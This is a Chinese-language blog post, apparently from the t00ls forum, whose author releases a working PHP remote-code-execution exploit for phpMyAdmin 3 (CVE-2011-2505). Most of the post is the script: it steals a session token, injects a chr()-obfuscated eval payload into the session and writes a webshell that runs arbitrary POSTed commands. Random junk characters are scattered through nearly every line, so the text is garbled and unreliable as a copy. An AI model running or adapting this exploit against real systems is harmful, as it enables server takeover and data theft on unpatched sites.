最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。+ ?+ r5 }. r# ]( U$ W, M
2 f6 b$ a( ]4 R1 V' O昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
! v3 v" y; V6 z9 s9 _; f/ l1 n" H) |. }" I9 k! l+ s. O
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:# d- W7 J1 r$ l% `( e8 ?
一是session.auto_start = 1;
6 n4 i7 u8 X/ \5 `7 P" Z二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。1 o' u0 @, Q: F" c5 P
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。+ H8 u5 t" e, x5 Y7 C( Q
4 n7 T8 S# u d5 T" F在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。5 y W& r1 }+ c% u
$ u/ Z5 w; Z( P5 b9 r于是写了这个php版本的exp,代码如下:
) I. D: s3 m. g; w3 J7 W" S6 }
) G t# f$ q1 e( S& k#!/usr/bin/php5 i, z! R! _2 T
<?php
& `1 H+ L/ H! t/ nprint_r('
0 @$ w! Y/ b! b) v* F+---------------------------------------------------------------------------+
, c2 p1 a: H8 q8 Apma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
* H8 [2 d+ g, Dby oldjun(www.oldjun.com)& C8 N9 U( Y5 D% N. A! m# T' |
welcome to www.t00ls.net
+ }9 I$ J( y2 g* b$ |- dmail: oldjun@gmail.com8 A5 ?1 w) O" j, w# Y) c/ J
Assigned CVE id: CVE-2011-2505
& e6 a* G# Q8 W+---------------------------------------------------------------------------+
) r1 R9 s l* }$ i9 D');9 K) j) ?8 X; |# ^9 s
3 h6 e& |" r1 A& ^" I; J/**
5 S5 `) q$ b1 C4 w+ O6 A) t * working when the directory:"config" exists and is writeable.
1 Z1 s+ x4 A8 z/ ]9 N1 I* A**/
3 c3 W3 ]) `+ f* u 6 n+ D3 k3 D% x
if ($argc < 3) {; |0 [: z# O; K9 q& j, E4 Y
print_r('
9 o) t8 c F: t8 I6 f+---------------------------------------------------------------------------+# F/ e+ h& o( i% ~) H* }
Usage: php '.$argv[0].' host path( b& U9 Q: B& m0 Y* y) W
host: target server (ip/hostname)
' | \; J/ z. \( |8 k4 C2 a# Lpath: path to pma37 M6 g g2 J- u1 q$ q! `- j
Example:$ I# H! M% ^, U2 l+ S" y
php '.$argv[0].' localhost /pma/
2 n4 ]" N3 f R9 C6 J+---------------------------------------------------------------------------+5 B) e2 F9 s# l. C! M) T; M( R
');+ v" {+ E) _5 y$ X, a$ j0 m9 k/ i
exit;
9 A6 ^/ L3 ?8 a! Z- n5 a}
: P+ J4 H# d( i2 [8 k6 l0 u
6 v; ]: t# G7 S1 N& X$host = $argv[1];) k' O G4 J7 R0 `
$path = $argv[2];
0 i! w7 [# H' W/ M
6 |5 C: I j- w6 l* T/**" u( R0 v6 @# \
* Try to determine if the directory:"config" exists
1 r$ l8 F3 K6 K9 W5 L1 }& O! K% K( _**/
+ V' ?0 l6 q- x- S' z) B5 _echo "[+] Try to determine if the directory:config exists....\n";
/ S1 Y1 R) o$ }, T: H) i4 W4 p$returnstr=php_request('config/');- N; S6 W+ D# u+ s# S2 v
if(strpos($returnstr,'404')){3 ]% Y8 k; k9 f1 U9 k9 j' ?$ F
exit("[-] Exploit Failed! The directory:config do not exists!\n");
9 w# Y/ ~: o' O' i* c) T}! c9 h$ s4 N) u2 W: u" K- h
' j+ @5 {0 f# Y* D% Q7 W0 F1 t
/**
. `; g1 A7 c" Z) F2 T * Try to get token and sessionid9 `( P- }- z( A) D( O
**/
; u1 u' Q% s0 e8 v% E" w( H" Zecho "[+] Try to get token and sessionid....\n";! o+ E4 n" b& K
$result=php_request('index.php');
, Y @( _# a7 r* e7 y# L/ X N- epreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
5 O* K% ~& }% Q6 l$token=$resp[3];5 E8 r( l# F. E" v; w
$sessionid=$resp[1];
( |# z9 R' R: `2 i2 E/ e( n% G% F Dif($token && $sessionid){
7 Y3 r6 i. d! u. z# Y echo "[+] token token\n";4 K( E, p; r. W1 d2 [; [) M
echo "[+] Session ID sessionid\n";
8 [: X9 D# Z Y( h2 u2 i2 |}else{
) t4 e( Y% k6 N exit("[-] Can't get token and Session ID,Exploit Failed!\n");: G) P" R3 z' _* ~$ l2 _) G
}6 z, P4 E5 G$ D3 i
) q' Z: n; r8 u$ D/**1 p9 \. I$ W6 l( k2 r) h
* Try to insert shell into session
( S n) Z7 ]9 C**/
/ N! Z0 O2 Z5 q4 p! b3 \echo "[+] Try to insert shell into session....\n";+ [) L2 j# D& U. \
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.# j& V/ e$ n1 \* X- ?
% {. y' R' V5 z4 I5 Y; ?% x) n/ t. ~! i
/**
2 f9 Q* s/ u" ^ * Try to create webshell& F" A" P/ B) L( Q! ]' b
**/5 X1 Y# W7 T: K$ H k
echo "[+] Try to create webshell....\n";; \# W h3 h( Z1 D9 o# e; j+ ~7 p
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
( @: c' q- \" m) K$ `/**
- w6 w( d0 \, p * Try to check if the webshell was created successfully4 Y) h! y, g2 x6 d1 j# j: v) `
**/
& R" l0 |8 [! oecho "[+] Try to check if the webshell was created successfully....\n";
5 ]1 j( y: m0 \+ j1 ?1 s6 ~& q- \$content=php_request('config/config.inc.php');0 E: M9 J& T( X8 E/ a; C- r: {
if(strpos($content,'t00ls')){
: V2 c) a v2 \' S) A( T, d echo "[+] Congratulations! Expoilt successfully....\n";
7 j6 R' `7 v9 D: ~3 _' o$ T echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
5 }6 l1 R: U7 R% ~2 b1 [6 h- s+ p* D}else{. M) F' q$ N) e) s o+ v3 P
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
, A! ]5 L. c: B}
# s$ Q' c5 r9 z, ]) k/ z
- _/ Z) N' u0 I/ t8 g. Rfunction php_request($url,$data='',$cookie=''){
( f$ r& w% D% z& N, \ global $host, $path;2 j* R9 @; Q( o' D
6 g; c J h& j. ~
$method=$data?'POST':'GET';
6 `* J; M. D2 W5 b" W6 i* a : `, N" b9 H7 A& m6 M `
$packet = $method." ".$path.$url." HTTP/1.1\r\n";0 d) O0 {6 x. A
$packet .= "Accept: */*\r\n";
5 f+ M1 a9 U8 U% \$ G: R: [# \2 ~ $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";. T3 J( J$ |' z
$packet .= "Host: $host\r\n";, q7 r& m; e( T3 g, ?
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
2 ]# Y: m5 o# }: e* | $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";4 t5 v) m' Z! i% H
$packet .= $cookie?"Cookie: $cookie\r\n":"";" b- n' r7 c5 L5 P/ c
$packet .= "Connection: Close\r\n\r\n";
. ~' f" l8 V& O& R: t $packet .= $data?$data:"";; i; M4 s+ f& z0 \$ a9 D( B$ s
( H8 ]6 m3 |! T) u
$fp = fsockopen(gethostbyname($host), 80);5 a" r0 o. ^5 W: g4 @
if (!$fp) {
1 n5 _2 k3 }! X# _$ i- }+ U0 u! d echo 'No response from '.$host; die;2 L- r+ s8 P( M6 B6 P4 T
}
! e* `) L: a& R4 z; \0 Q fputs($fp, $packet);6 {& {0 {/ `* t* }# [/ |
8 F6 d& s" p- S" Z. M, w $resp = '';' c0 u' L5 t+ w' i) @( y- j
& Z0 K8 s, D$ A. @/ D2 X
while ($fp && !feof($fp))
' g( s3 A3 O- {" d0 h $resp .= fread($fp, 1024);* Q ]/ r7 h$ ]; U( I5 u* t
- F4 ]4 k/ ^2 z4 h* n/ d" n; P3 f
return $resp;
& z& @( G+ g. \8 s$ G}
/ @+ y$ k- E+ }7 e {, [! c: H/ E' D0 T
?>
9 {# H% O' \% N! M d7 G. |